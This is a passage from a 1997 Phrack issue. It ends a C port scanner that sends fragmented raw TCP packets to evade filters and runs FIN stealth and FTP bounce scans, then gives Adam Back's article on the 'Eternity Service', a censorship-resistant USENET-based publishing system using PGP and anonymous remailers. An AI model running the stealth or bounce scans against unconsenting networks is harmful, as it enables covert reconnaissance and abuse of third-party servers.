sock.sin_addr.s_addr = victim->s_addr;

bzero(packet, sizeof(struct iphdr) + sizeof(struct tcphdr));

pseudo->s_addr = source->s_addr;
pseudo->d_addr = victim->s_addr;
pseudo->protocol = IPPROTO_TCP;
pseudo->length = htons(sizeof(struct tcphdr));

tcp->th_sport = htons(sport);
tcp->th_dport = htons(dport);
tcp->th_seq = rand() + rand();

tcp->th_off = 5 /*words*/;
tcp->th_flags = flags;

tcp->th_win = htons(2048); /* Who cares */

tcp->th_sum = in_cksum((unsigned short *)pseudo, 
		       sizeof(struct tcphdr) + sizeof(struct pseudo_header));

/* Now for the ip header of frag1 */
bzero(packet, sizeof(struct iphdr)); 
ip->version = 4;
ip->ihl = 5;
/*RFC 791 allows 8 octet frags, but I get "operation not permitted" (EPERM)
  when I try that.  */
ip->tot_len = htons(sizeof(struct iphdr) + 16);
id = ip->id = rand();
ip->frag_off = htons(MORE_FRAGMENTS);
ip->ttl = 255;
ip->protocol = IPPROTO_TCP;
ip->saddr = source->s_addr;
ip->daddr = victim->s_addr;
ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr));

if (debugging > 1) {
  printf("Raw TCP packet fragment #1 creation completed!  Here it is:\n");
  hdump(packet,20);
}
if (debugging > 1) 
  printf("\nTrying sendto(%d , packet, %d, 0 , %s , %d)\n",
	 sd, ntohs(ip->tot_len), inet_ntoa(*victim),
	 sizeof(struct sockaddr_in));
if ((res = sendto(sd, packet, ntohs(ip->tot_len), 0, 
		  (struct sockaddr *)&sock, sizeof(struct sockaddr_in))) == -1)
  {
    perror("sendto in send_syn_fragz");
    return -1;
  }
if (debugging > 1) printf("successfully sent %d bytes of raw_tcp!\n", res);

/* Create the second fragment */
bzero(ip2, sizeof(struct iphdr));
ip2->version = 4;
ip2->ihl = 5;
ip2->tot_len = htons(sizeof(struct iphdr) + 4); /* the rest of our TCP packet */
ip2->id = id;
ip2->frag_off = htons(2);
ip2->ttl = 255;
ip2->protocol = IPPROTO_TCP;
ip2->saddr = source->s_addr;
ip2->daddr = victim->s_addr;
ip2->check = in_cksum((unsigned short *)ip2, sizeof(struct iphdr));
if (debugging > 1) {
  printf("Raw TCP packet fragment creation completed!  Here it is:\n");
  hdump(packet,20);
}
if (debugging > 1) 
  printf("\nTrying sendto(%d , ip2, %d, 0 , %s , %d)\n", sd, 
	 ntohs(ip2->tot_len), inet_ntoa(*victim), sizeof(struct sockaddr_in));
if ((res = sendto(sd, ip2, ntohs(ip2->tot_len), 0, 
		  (struct sockaddr *)&sock, sizeof(struct sockaddr_in))) == -1)
  {
    perror("sendto in send_tcp_raw");
    return -1;
  }
return 1;
}

/* Hex dump */
void hdump(unsigned char *packet, int len) {
unsigned int i=0, j=0;

printf("Here it is:\n");

for(i=0; i < len; i++){
  j = (unsigned) (packet[i]);
  printf("%-2X ", j);
  if (!((i+1)%16))
    printf("\n");
  else if (!((i+1)%4))
    printf("  ");
}
printf("\n");
}


portlist fin_scan(struct in_addr target, unsigned short *portarray, 
		  struct in_addr *source, int fragment, portlist *ports) {

int rawsd, tcpsd;
int done = 0, badport, starttime, someleft, i, j=0, retries=2;
int source_malloc = 0;
int waiting_period = retries, sockaddr_in_size = sizeof(struct sockaddr_in);
int bytes, dupesinarow = 0;
unsigned long timeout;
struct hostent *myhostent;
char response[65535], myname[513];
struct iphdr *ip = (struct iphdr *) response;
struct tcphdr *tcp;
unsigned short portno[max_parallel_sockets], trynum[max_parallel_sockets];
struct sockaddr_in stranger;


timeout = (global_delay)? global_delay : (global_rtt)? (1.2 * global_rtt) + 10000 : 1e5;
bzero(&stranger, sockaddr_in_size);
bzero(portno, max_parallel_sockets * sizeof(unsigned short));
bzero(trynum, max_parallel_sockets * sizeof(unsigned short));
starttime = time(NULL);


if (debugging || verbose)
  printf("Initiating FIN stealth scan against %s (%s), sleep delay: %ld useconds\n", current_name, inet_ntoa(target), timeout);

if (!source) {
  if (ouraddr.s_addr) {
    source = &ouraddr;
  }
  else {
  source = safe_malloc(sizeof(struct in_addr));
  source_malloc = 1;
  if (gethostname(myname, MAXHOSTNAMELEN) || 
      !(myhostent = gethostbyname(myname)))
    fatal("Your system is fucked up.\n"); 
  memcpy(source, myhostent->h_addr_list[0], sizeof(struct in_addr));
  }
  if (debugging || verbose) 
    printf("We skillfully deduced that your address is %s\n",
	   inet_ntoa(*source));
}

if ((rawsd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0 )
  perror("socket trobles in fin_scan");

if ((tcpsd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0 )
  perror("socket trobles in fin_scan");

unblock_socket(tcpsd);
while(!done) {
  for(i=0; i <  max_parallel_sockets; i++) {
    if (!portno[i] && portarray[j]) {
      portno[i] = portarray[j++];
    }
    if (portno[i]) {
    if (fragment)
      send_small_fragz(rawsd, source, &target, MAGIC_PORT, portno[i], TH_FIN);
    else send_tcp_raw(rawsd, source , &target, MAGIC_PORT, 
		      portno[i], 0, 0, TH_FIN, 0, 0, 0);
    usleep(10000); /* *WE* normally do not need this, but the target 
		      lamer often does */
    }
  }

  usleep(timeout);
  dupesinarow = 0;
  while ((bytes = recvfrom(tcpsd, response, 65535, 0, (struct sockaddr *)
			   &stranger, &sockaddr_in_size)) > 0) 
    if (ip->saddr == target.s_addr) {
      tcp = (struct tcphdr *) (response + 4 * ip->ihl);
      if (tcp->th_flags & TH_RST) {
	badport = ntohs(tcp->th_sport);
	if (debugging > 1) printf("Nothing open on port %d\n", badport);
	/* delete the port from active scanning */
	for(i=0; i < max_parallel_sockets; i++) 
	  if (portno[i] == badport) {
	    if (debugging && trynum[i] > 0)
	      printf("Bad port %d caught on fin scan, try number %d\n",
		     badport, trynum[i] + 1);
	    trynum[i] = 0;
	    portno[i] = 0;
	    break;
	  }
	if (i == max_parallel_sockets) {
	  if (debugging)
	    printf("Late packet or dupe, deleting port %d.\n", badport);
	  dupesinarow++;
	  if (ports) deleteport(ports, badport, IPPROTO_TCP);
	}
      }
      else 
	if (debugging > 1) {	  
	  printf("Strange packet from target%d!  Here it is:\n", 
		 ntohs(tcp->th_sport));
	  if (bytes >= 40) readtcppacket(response,1);
	  else hdump(response,bytes);
	}
    }
  
  /* adjust waiting time if neccessary */
  if (dupesinarow > 6) {
    if (debugging || verbose)
      printf("Slowing down send frequency due to multiple late packets.\n");
    if (timeout < 10 * ((global_delay)? global_delay: global_rtt + 20000)) timeout *= 1.5;
    else {
      printf("Too many late packets despite send frequency decreases, skipping scan.\n");
      if (source_malloc) free(source);
      return *ports;
    }
  }


  /* Ok, collect good ports (those that we haven't received responses too 
     after all our retries */
  someleft = 0;
  for(i=0; i < max_parallel_sockets; i++)
    if (portno[i]) {
      if (++trynum[i] >= retries) {
	if (verbose || debugging)
	  printf("Good port %d detected by fin_scan!\n", portno[i]);
	addport(ports, portno[i], IPPROTO_TCP, NULL);
    send_tcp_raw( rawsd, source, &target, MAGIC_PORT, portno[i], 0, 0, 
		  TH_FIN, 0, 0, 0);
	portno[i] = trynum[i] = 0;
      }
      else someleft = 1;
    }  

  if (!portarray[j] && (!someleft || --waiting_period <= 0)) done++;
}

if (debugging || verbose)
  printf("The TCP stealth FIN scan took %ld seconds to scan %d ports.\n", 
	 time(NULL) - starttime, number_of_ports);
if (source_malloc) free(source);
close(tcpsd);
close(rawsd);
return *ports;
}

int ftp_anon_connect(struct ftpinfo *ftp) {
int sd;
struct sockaddr_in sock;
int res;
char recvbuf[2048];
char command[512];

if (verbose || debugging) 
  printf("Attempting connection to ftp://%s:%s@%s:%i\n", ftp->user, ftp->pass,
	 ftp->server_name, ftp->port);

if ((sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
  perror("Couldn't create ftp_anon_connect socket");
  return 0;
}

sock.sin_family = AF_INET;
sock.sin_addr.s_addr = ftp->server.s_addr;
sock.sin_port = htons(ftp->port); 
res = connect(sd, (struct sockaddr *) &sock, sizeof(struct sockaddr_in));
if (res < 0 ) {
  printf("Your ftp bounce proxy server won't talk to us!\n");
  exit(1);
}
if (verbose || debugging) printf("Connected:");
while ((res = recvtime(sd, recvbuf, 2048,7)) > 0) 
  if (debugging || verbose) {
    recvbuf[res] = '\0';
    printf("%s", recvbuf);
  }
if (res < 0) {
  perror("recv problem from ftp bounce server");
  exit(1);
}

snprintf(command, 511, "USER %s\r\n", ftp->user);
send(sd, command, strlen(command), 0);
res = recvtime(sd, recvbuf, 2048,12);
if (res <= 0) {
  perror("recv problem from ftp bounce server");
  exit(1);
}
recvbuf[res] = '\0';
if (debugging) printf("sent username, received: %s", recvbuf);
if (recvbuf[0] == '5') {
  printf("Your ftp bounce server doesn't like the username \"%s\"\n", 
	 ftp->user);
  exit(1);
}
snprintf(command, 511, "PASS %s\r\n", ftp->pass);
send(sd, command, strlen(command), 0);
res = recvtime(sd, recvbuf, 2048,12);
if (res < 0) {
  perror("recv problem from ftp bounce server\n");
  exit(1);
}
if (!res) printf("Timeout from bounce server ...");
else {
recvbuf[res] = '\0';
if (debugging) printf("sent password, received: %s", recvbuf);
if (recvbuf[0] == '5') {
  fprintf(stderr, "Your ftp bounce server refused login combo (%s/%s)\n",
	 ftp->user, ftp->pass);
  exit(1);
}
}
while ((res = recvtime(sd, recvbuf, 2048,2)) > 0) 
  if (debugging) {
    recvbuf[res] = '\0';
    printf("%s", recvbuf);
  }
if (res < 0) {
  perror("recv problem from ftp bounce server");
  exit(1);
}
if (verbose) printf("Login credentials accepted by ftp server!\n");

ftp->sd = sd;
return sd;
}

int recvtime(int sd, char *buf, int len, int seconds) {

int res;
struct timeval timeout = {seconds, 0};
fd_set readfd;

FD_ZERO(&readfd);
FD_SET(sd, &readfd);
res = select(sd + 1, &readfd, NULL, NULL, &timeout);
if (res > 0 ) {
res = recv(sd, buf, len, 0);
if (res >= 0) return res;
perror("recv in recvtime");
return 0; 
}
else if (!res) return 0;
perror("select() in recvtime");
return -1;
}

portlist bounce_scan(struct in_addr target, unsigned short *portarray,
		     struct ftpinfo *ftp, portlist *ports) {
int starttime,  res , sd = ftp->sd,  i=0;
char *t = (char *)&target; 
int retriesleft = FTP_RETRIES;
char recvbuf[2048]; 
char targetstr[20];
char command[512];
snprintf(targetstr, 20, "%d,%d,%d,%d,0,", UC(t[0]), UC(t[1]), UC(t[2]), UC(t[3]));
starttime = time(NULL);
if (verbose || debugging)
  printf("Initiating TCP ftp bounce scan against %s (%s)\n",
	 current_name,  inet_ntoa(target));
for(i=0; portarray[i]; i++) {
  snprintf(command, 512, "PORT %s%i\r\n", targetstr, portarray[i]);
  if (send(sd, command, strlen(command), 0) < 0 ) {
    perror("send in bounce_scan");
    if (retriesleft) {
      if (verbose || debugging) 
	printf("Our ftp proxy server hung up on us!  retrying\n");
      retriesleft--;
      close(sd);
      ftp->sd = ftp_anon_connect(ftp);
      if (ftp->sd < 0) return *ports;
      sd = ftp->sd;
      i--;
    }
    else {
      fprintf(stderr, "Our socket descriptor is dead and we are out of retries. Giving up.\n");
      close(sd);
      ftp->sd = -1;
      return *ports;
    }
  } else { /* Our send is good */
    res = recvtime(sd, recvbuf, 2048,15);
    if (res <= 0) perror("recv problem from ftp bounce server\n");
  
    else { /* our recv is good */
      recvbuf[res] = '\0';
      if (debugging) printf("result of port query on port %i: %s", 
			    portarray[i],  recvbuf);
      if (recvbuf[0] == '5') {
	if (portarray[i] > 1023) {
	fprintf(stderr, "Your ftp bounce server sucks, it won't let us feed bogus ports!\n");
	exit(1);
      }
      else {
	fprintf(stderr, "Your ftp bounce server doesn't allow priviliged ports, skipping them.\n");
	while(portarray[i] && portarray[i] < 1024) i++;
	if (!portarray[i]) {
	  fprintf(stderr, "And you didn't want to scan any unpriviliged ports.  Giving up.\n");
	  /*	  close(sd);
	  ftp->sd = -1;
	  return *ports;*/
	  /* screw this gentle return crap!  This is an emergency! */
	  exit(1);
	}
      }  
      }
    else  /* Not an error message */
      if (send(sd, "LIST\r\n", 6, 0) > 0 ) {
	res = recvtime(sd, recvbuf, 2048,12);
	if (res <= 0)  perror("recv problem from ftp bounce server\n");
	else {
	  recvbuf[res] = '\0';
	  if (debugging) printf("result of LIST: %s", recvbuf);
	  if (!strncmp(recvbuf, "500", 3)) {
	    /* fuck, we are not aligned properly */
	    if (verbose || debugging)
	      printf("misalignment detected ... correcting.\n");
	     res = recvtime(sd, recvbuf, 2048,10);
	  }
	  if (recvbuf[0] == '1' || recvbuf[0] == '2') {
	    if (verbose || debugging) printf("Port number %i appears good.\n",
				portarray[i]);
	    addport(ports, portarray[i], IPPROTO_TCP, NULL);
	    if (recvbuf[0] == '1') {
	    res = recvtime(sd, recvbuf, 2048,5);
	    recvbuf[res] = '\0';
	    if ((res > 0) && debugging) printf("nxt line: %s", recvbuf);
	    }
	  }
	}
      }
    }
  }
}
if (debugging || verbose) 
  printf("Scanned %d ports in %ld seconds via the Bounce scan.\n",
	 number_of_ports, time(NULL) - starttime);
return *ports;
}

/* parse a URL stype ftp string of the form user:pass@server:portno */
int parse_bounce(struct ftpinfo *ftp, char *url) {
char *p = url,*q, *s;

if ((q = strrchr(url, '@'))) /*we have username and/or pass */ {
  *(q++) = '\0';
  if ((s = strchr(q, ':')))
    { /* has portno */
      *(s++) = '\0';
      strncpy(ftp->server_name, q, MAXHOSTNAMELEN);
      ftp->port = atoi(s);
    }
  else  strncpy(ftp->server_name, q, MAXHOSTNAMELEN);

  if ((s = strchr(p, ':'))) { /* User AND pass given */
    *(s++) = '\0';
    strncpy(ftp->user, p, 63);
    strncpy(ftp->pass, s, 255);
  }
  else { /* Username ONLY given */
    printf("Assuming %s is a username, and using the default password: %s\n",
	   p, ftp->pass);
    strncpy(ftp->user, p, 63);
  }
}
else /* no username or password given */ 
  if ((s = strchr(url, ':'))) { /* portno is given */
    *(s++) = '\0';
    strncpy(ftp->server_name, url, MAXHOSTNAMELEN);
    ftp->port = atoi(s);
  }
  else  /* default case, no username, password, or portnumber */
    strncpy(ftp->server_name, url, MAXHOSTNAMELEN);

ftp->user[63] = ftp->pass[255] = ftp->server_name[MAXHOSTNAMELEN] = 0;

return 1;
}


 
/*
 *      I'll bet you've never seen this function before (yeah right)!
 *      standard swiped checksum routine.
 */
unsigned short in_cksum(unsigned short *ptr,int nbytes) {

register long           sum;            /* assumes long == 32 bits */
u_short                 oddbyte;
register u_short        answer;         /* assumes u_short == 16 bits */

/*
 * Our algorithm is simple, using a 32-bit accumulator (sum),
 * we add sequential 16-bit words to it, and at the end, fold back
 * all the carry bits from the top 16 bits into the lower 16 bits.
 */

sum = 0;
while (nbytes > 1)  {
sum += *ptr++;
nbytes -= 2;
}

/* mop up an odd byte, if necessary */
if (nbytes == 1) {
oddbyte = 0;            /* make sure top half is zero */
*((u_char *) &oddbyte) = *(u_char *)ptr;   /* one byte only */
sum += oddbyte;
}

/*
 * Add back carry outs from top 16 bits to low 16 bits.
 */

sum  = (sum >> 16) + (sum & 0xffff);    /* add high-16 to low-16 */
sum += (sum >> 16);                     /* add carry */
answer = ~sum;          /* ones-complement, then truncate to 16 bits */
return(answer);
}
<-->


----[  EOF



--------------------------------------------------------------------------------


---[  Phrack Magazine   Volume 7, Issue 51 September 01, 1997, article 12 of 17


-------------------------[  The Eternity Service


--------[  Adam Back <aba@dcs.exe.ac.uk>



Information wants to be Free
======================================================================

Information wants to be free.  Censorship sucks.  Having your account yanked 
because some censorious idiot doesn't like you discussing hacking tips and 
tricks in USENET sucks.  Being tortured to death by some totalitarian 
country's military police for speaking the truth about government corruption 
sucks even more.  

Have friends who have been hounded by the Feds, SPA software police, or 
system admins who believe in security by obscurity?  Had nasty threats made by 
censorious system admins for helpfully drawing their attention to flaws in their
systems security?  Ever had a control freak try to get your web pages
censored because they don't like its content, or simply because they get their 
kicks harassing people?  Ever wanted to publish something on the 'Net but felt 
intimidated by censors?

Do you consider that free speech is your right as guaranteed by the first 
amendment of the US constitution, and do you therefore also consider it your 
right to speak anonymously?  There are lots of reasons to protect the ability 
to speak anonymously.  Anonymous speech is required for truly free speech.  
Strongly anonymous free speech is the freest speech of all. If you're going to 
preserve your ability to speak anonymously, and protect your right to free 
speech you might as well do it properly...

Want to do something to help free speech?  Want to piss off the 'Net censors?  
Want to piss off censorious Governments?  Read on...


What is the Eternity Service?
======================================================================

The Eternity Service is a distributed data-haven, it takes a different
approach to ensuring unpopular content can be published.  Traditionally 
unpopular content has been surreptitiously exchanged via DCCs in IRC, or PGP 
encrypted email, or FSP, or in funny named directories via FTP or via agreed 
file names in incoming directories set drwx-wx-wx.  Other kinds of unpopular 
content have been published on web pages for a short time until the censor 
gets to work and threatens the ISP, the publisher's employee, and the publisher 
with law suits.  Sometimes these web pages get mirrored, if there is someone
interested, and spoiling for a fight, or if the content is only censored by 
force of law in one jurisdiction.

The Eternity Service deals with censorship more directly: it confronts the 
problem in a more general way with the aim that anyone should be able to 
publish anything anonymously in a convenient persistent, uncensorable 
data-haven.

So in a nut-shell that is the design goal of the eternity service, to allow 
anyone to publish material which others would like to censor. For convenience 
the publishing medium addressed is the World Wide Web.

Systems for publishing anonymously in USENET news and email already exist: 
cypherpunks type I and type II (mixmaster) remailers.


Why the name `Eternity Service'?
======================================================================

There is a cryptographic paper by Ross Anderson called "The Eternity Service",
which is where the idea for this implementation came from.  I rather liked 
Ross's name for his conceptual service, and instead of thinking up some other 
name I just "borrowed" his name.  Readers might find his paper interesting, 
it's on the web in htmlized form at:

    http://www.cl.cam.ac.uk/users/rja14/eternity/eternity.html

Ross's design is quite ambitious, so I simplified his design in developing the 
software included with this article.

My implementation shares Ross's main design goal, which is to create a
censorship-proof, long-term document store, but its design has been made much 
simpler and less ambitious initially to make it easier to implement.  The main 
simplification is that I built the design on top of an existing hard-to-censor 
distributed distribution channel: `alt' USENET newsgroups.  This design is 
described in the next sections.

The motivation for providing a simplified version was to have something people 
could use practically, today.  Another reason is that by releasing this 
design, and it's implementation, it allows you, the reader, to play with it, 
and to contribute to it, improve it in a piecewise fashion in the good 
tradition of free software on the 'Net.  The design calls for many eternity 
servers to be in existence to make it hard to censor.

At time of writing a mailing list exists for discussion on using and improving 
the eternity service.  Instructions on how to subscribe the eternity mailing 
list are given at the bottom of this article.


USENET and distributed systems
======================================================================

The Internet was built to survive nuclear attack.  It would survive such an
attack because it is a distributed system.  Distributed systems are hard to 
break, and therefore, hard to censor.  USENET, particularly the `alt` 
newsgroups offer the most amazing chaotic discussion areas.  The articles 
which are posted often contain materials which would be considered illegal in
many jurisdictions.  And yet USENET lives, and `alt` USENET newsgroups thrive. 
Extremely well funded attackers have tried to remove individual `alt` USENET 
groups, and to censor posts in alt USENET groups.  They have all failed.

The reason that USENET is hard to attack is because it is a distributed
system.  The network of news feeds has some redundancy.  USENET articles enter 
the news distribution network from anywhere in the network.  If a censor in 
one country succeeds in persuading a news site to censor its feed and not
carry particular alt groups, it doesn't affect the overall system that much.  
There are lots of other nodes carrying the groups, disgruntled users will 
switch ISPs, and disgruntled down-feed sites will switch feeds.  The system 
routes *around* censorship.  There are just so many USENET admins with 
individual opinions, and commercial interests in carrying groups users want to
read, that USENET can not die.

It occurred to me in trying to design a simplified eternity service, that it 
would be useful to borrow some of Usenet's indestructible nature.  USENET is 
part of the landscape; it's here to stay.  If we build a new distributed 
distribution system from scratch, to start with there won't be many nodes.  
The censor will have any easy time censoring a few nodes, he'll just go and 
harass each of them in turn.

With USENET on the other hand, it has been around for so long, and is carried 
at so many sites that it would be a huge task for a censor to even have a 
significant affect on USENET.

So, the design of my eternity server aims to allow operators to point the 
finger at USENET and say: "that's where the content is coming from, if you 
want to censor anything go attack USENET".

My eternity server design is a service designed to blur the differences 
between USENET news and the Web.  It provides an interface which makes a 
stream of encrypted USENET news articles look like WWW pages with a persistent 
URL.  As the default disclaimer for eternity servers says:

    Note to censors: Eternity servers are specialized search engines for
    reading web documents from USENET news. The pages you request are
    actually USENET news posts which the server is searching for,
    reformatting and forwarding to you. The administrator of this server
    has no control over the content of USENET news, and will not be held
    responsible for any documents you instruct this server to forward
    for you.


Eternity Server design
======================================================================

Once you accept the idea that it would be nice to borrow, or build upon some 
of USENET news's strength as a uncensorable distribution mechanism, the next 
issue is achieving this, technically.  The main differences between USENET 
news articles and WWW pages is that USENET is transient, the articles expire 
in newsgroups, and that USENET articles have no persistent globally 
addressable locator.  USENET is not as convenient as the Web; there are no 
hypertext links between articles, and there are no inline images.

Eternity service articles are WWW pages specially formatted and posted to 
USENET news.  The eternity server reads news and translates Web page requests 
into GROUP and ARTICLE commands to an NNTP news server (or file system 
accesses to a local news spool).  (The default list of newsgroups to read 
consists of one group: alt.anonymous.messages).

Web pages are often updated, as one of the interesting aspects of the WWW as a 
publishing medium is that it allows people to maintain up-to-date information. 
This maintains interest and keeps people coming back to an interesting site to 
see what else the author has collected, or what other related pages have been 
added.  A sense of community can be built up with others submitting interesting
links, corrections, and tips to the author.

To provide the possibility of updating web pages with the eternity server, the 
eternity formatting convention allows submitted web pages to be signed with 
PGP.  This ensures that no one else can replace your pages with other pages.  
Being able to replace your page with a blank page would allow a censor to 
temporarily censor you.  (Only temporary because you could always replace the 
blank page with the real document again).

With a PGP signature this is prevented... and the system becomes such that 
eternity virtual domains are very much first-come first-served.


First-come first-served naming
======================================================================

Eternity URLs are all under the non-existent Top Level Domain (TLD) "eternity".
(Other TLDs being .com, .org, .edu, .ai, etc) Eternity URLs are therefore of 
the form:

    http://*eternity/*

Where * represents any string of characters.

On the Internet domain names must be resolved to IP addresses via Domain Name 
Servers (DNS).  The owner of the TLD you desire a domain name in charges you 
for registering a domain.  Internic (who currently has a hotly contested 
monopoly on TLDs .com, .org, and .net), charge $100 for the first 2 years, and 
$50 for each year thereafter.

Eternity domains don't exist in this sense.  There is no root domain server for 
eternity.  You don't need to buy eternity URLs from anyone.  Nobody _can_ own 
an eternity URL in the normal sense.

The first person to submit a document with a URL:

    http://bluebox.eternity/

gets it.  If that person signed the submitted document with PGP, no one will 
be able to take over that URL.  If that person signed the submitted page with 
PGP and threw away the key, it would be uncensorable for all time.  They 
couldn't even remove the document themselves if they wanted to.  Throwing away 
the key might be a good idea if the publisher isn't publishing anonymously and 
expects reprisals.

The fact that one user has submitted a signed web page for 
http://bluebox.eternity/ doesn't stop BlackBeard from putting up his design at:

    http://bluebox.eternity/blackbeard/

That is to say ownership of any given URL, even the top level URL of a virtual 
domain, doesn't give any control over who could submit documents in that 
virtual domain.  Of course you don't have to link to their pages.  But those 
pages will show in a directory search of your virtual site.


Directory searches
======================================================================

Submitted eternity news articles can set options controlling whether or not 
the document is listed in the index.  The choice is either "exdirectory" (the 
default) or "directory".  This is useful because if you created the URL for 
http://bluebox.eternity/, you might like to include some inline images, or 
diagrams, or a series of other pages hypertext linked from that page.  So you 
would set option "directory" for the main page http://bluebox.eternity/, and 
set all the inline images and smaller pages linked from it to "exdirectory", 
as a convention to save the directory becoming cluttered up with junk.

You can also use "exdirectory" if you don't want to generally advertise your 
page.  Note this is not all that secure if you access your page via a public 
access eternity server, as the server operator could modify the server to 
record all exdirectory URLs.

You can request a listing of all eternity pages at an eternity server by 
filling in the form with virtual URL containing a wild-card:

    http://*

(Exdirectory documents will not be listed.)

You can also include an option to give a small description (a maximum of 60
characters) which will be listed beside your virtual URL when someone does 
such a search.

You can narrow the search to just list all root eternity documents with:

    http://*/

Which will find:

    http://eternity/
    http://bluebox.eternity/

but not:

    http://test.eternity/example1/


You can also do:

    http://bluebox.eternity/*

which will find:

    http://bluebox.eternity/
    http://bluebox.eternity/blackbeard/


You can combine *s to find what you want.  Advanced searches are possible:

    http://*box*.eternity/*blue*

and so on.

Eternity materials are likely to be targets for censors, and it is possible 
that they might try to censor the directory listing itself.  Even the URL 
could suffer.  (Did you know that Internic turned down some guy who wanted to 
register `fuck.com'?)  I'm sure someone creative could up with something to 
upset a censor in the 60 characters allocated for URL descriptions too.

For these reasons the eternity server operator has the option to disable 
directory service.  With this option disabled looking up URLs with wild-cards 
(*s) in them will get back a notice explaining that directory listings service 
has not been turned on at this server.

Servers with directory service turned off make less useful servers, so it is 
hoped that most eternity server operators don't have to do this.  However, an 
eternity server with directory service turned off still works normally for 
accessing known URLs, and you could maintain the directory listing yourself, 
or use a directory listing at another site.


Formatting Eternity documents 
======================================================================

Eternity documents submitted as USENET news articles are formatted with PGP.  
There are three of reasons to format messages in USENET to make them not 
immediately readable.

1) It prevents censors from working out which articles correspond to which 
eternity web pages.  Depending on the options chosen this can degrade to just 
obfuscation.  Obfuscation alone however can be useful as censors are often not 
particularly clue-full.

2) PGP includes compression, so the articles are much smaller.

3) If used with highest security options amongst a group of people who follow 
security guidelines it means that a censor will have no way to translate the 
articles back into WWW pages, or even of obtaining the URL.

To demonstrate the formatting requirements for eternity page submissions, we'll
work with an example page, http://bluebox.eternity/.

You'll need an implementation of SHA1 for this.  There is a C implementation, 
and also a perl implementation in the eternity server distribution.  Some 
systems may already have /usr/local/bin/sha1.

(Note: below "echo -n" is used -- on Suns the built-in echo doesn't handle the 
-n flag properly -- you'll have to use /usr/ucb/echo instead)

0) Generate a Nom de Plume

If you are planning to sign your document, you probably won't want to sign it 
with your normal key, so you'll generate a new keypair for the purpose, this 
will be your pseudonym, or Nom de Plume for the purposes of publishing this 
document.  The "-u fred" tells pgp to use that user id.  See pgp documentation 
for how to generate keys (use pgp -kg).

Once you've generated your key, extract it to a file with:

    % pgp -kxa fred fred

where `fred` is your new user name.  It will save the key as "fred.asc".  
We'll use this file below.


1) Sign the document

We create a normal web page such as you might put on your home page.  You can 
view the page with Netscape (or other browser) by opening it as a file URL: 
file:/home/fred/bluebox/index.html to check that it looks OK, and that any 
inline images line up correctly etc.

You can use relative, site relative, and absolute URLs normally in eternity 
documents.  You can also use absolute URLs pointing at other sites in the 
normal way.

To submit index.html as http://bluebox.eternity/ we first use PGP to ASCII 
armor the document.  If we want to sign it at the same time as ASCII armoring 
it, so that we can update it later, we can do:

    % pgp -sa index.html -u fred

There is another option to encrypt as well as sign and armor, which will be 
discussed more below, to do this do:

    % pgp -csa index.html -u fred

If we don't want to sign it, we do this instead:

    % pgp -a index.html

In either case after this operation PGP will create file "index.asc" for us.  
Rename index.asc to something else, say "index" (Another legal combination 
would be to encrypt and not sign with -ca).


2) Set the options

If you signed the document, you need to include the key.  Insert the keyfile 
(fred.asc extracted in step 0 above) into the document "index".  Order is not 
significant.  Then the ASCII armored document (pgp munged html or gif file 
produced in stage 1), the keyfile "fred.asc", and the flags described below 
can be jumbled up in order.

You now have several flags you can include to control how your URL will be 
cached, how it will be displayed in indexes etc.

The flags are:

    URL: http://bluebox.eternity/

The flag URL: sets what the eternity virtual URL will be.  It must have 
.eternity as the virtual TLD.

    Cache: yes
    Cache: encrypted
    Cache: no

Cache settings, choose one of those.  These cache settings override the used 
eternity server's settings if doing so will increase security.  "yes" and "no"
are obvious.  "encrypted" means that the document will be cached but it will 
be encrypted in the cache in such a way that the URL is required to decrypt it.
If the document is exdirectory this means that the server won't know the URL.

    Options: directory
    Options: exdirectory

Choose one of those options.  This flag controls whether the URL will be listed
in the URL index.  "directory" means it will be listed, "exdirectory" means it
will not be listed.  If you give neither option the document defaults to 
exdirectory.

    Description: Freds blue box page

This is the description that will appear in directory listings.  If the 
document is exdirectory there is no point giving a description.

So the file "index" is likely to look something like this once you've finished 
editing it:

    URL: http://bluebox.eternity/
    Cache: yes
    Options: directory
    Description: Freds blue box page

    -----BEGIN PGP PUBLIC KEY-----
    ...
    -----END PGP PUBLIC KEY-----

    -----BEGIN PGP MESSAGE-----
    ...
    -----BEGIN PGP MESSAGE-----

Where ... indicates the rest of the ASCII armored key or message will be 
displayed.  Some of these parts can be omitted as shown above.  When you are 
submitting an web page update you can omit anything you're not trying to 
change.  (That can be everything, so your updated document has nothing but the 
new message part).  However this is not necessarily a good idea because it 
will not make sense to an eternity server that has not seen the first 
document, for example if your first document doesn't make it via USENET to one
site.

3) Package the document "index" ready for posting

You have a couple of choices here.  

Method A (most common):

Either you can encrypt with PGP -c:

    % pgp -c -z"eternity" index

Method B:

Or you can encrypt with the SHA1 of the URL with 1 prefixed,

    % echo -n 1http://bluebox.eternity/ | sha1
    dab1a32aba30b4e3a9594da143c33d2ba9b00a38
    % pgp -c -z"dab1a32aba30b4e3a9594da143c33d2ba9b00a38" index

Most normal eternity URLs which you're expecting to be indexed on the 
directory services of public access eternity servers should be encrypted with 
the first simpler method.

There's not that much point encrypting with the second method unless your 
document is going to be exdirectory, because once the document gets in the URL 
everyone will know the URL anyway.  It might take a censor a little longer to 
figure out.

If you were planning to only access the document via private, or local 
eternity servers, you can reveal the URL only to those you wish to have access.
However this might not be that secure because people may be able to guess your
URL if it is something common as above.

Method C:

For this reason you have a third option, which is to encrypt at the same time 
as signing and ASCII armoring as described in step 1.  You can combine that 
option with above method B (pgp -c with sha1 of 1<URL>) to conceal the URL.  

Or alternately you can expose the URL by using method 1 above (pgp -c 
-z"eternity"), but have the document encrypted in step 1.  (This would allow 
you to have a directory entry, but the page not accessible without knowing the 
password chosen in step 1 when encrypting.

The result of the last pgp -c operation for any of method A, B, or C will be 
file "index.asc".

4) Post the article anonymously

The subject field of the article should always be the SHA1 hash of the URL:

    % echo -n http://bluebox.eternity/ | sha1
    2e730bcd62dbc63aaedde56c06625abeeb38dd92

Now post the article to USENET news (by default eternity servers read only 
newsgroup alt.anonymous.messages with release 0.10).

You can test your eternity submissions work by installing an eternity server 
on localhost.  If you get stuck you could ask for assistance on the eternity 
mailing list (instructions on subscribing are at the bottom of this article).

To post anonymously you'll need to post via anonymous remailers.  Some 
remailers can post to USENET directly, for other remailers you have to post 
via a mail2news gateway.

Instructions on using remailers, and windows and Unix clients to automate the 
process of using remailers can be found here:

    http://www.stack.nl/~galactus/remailers/

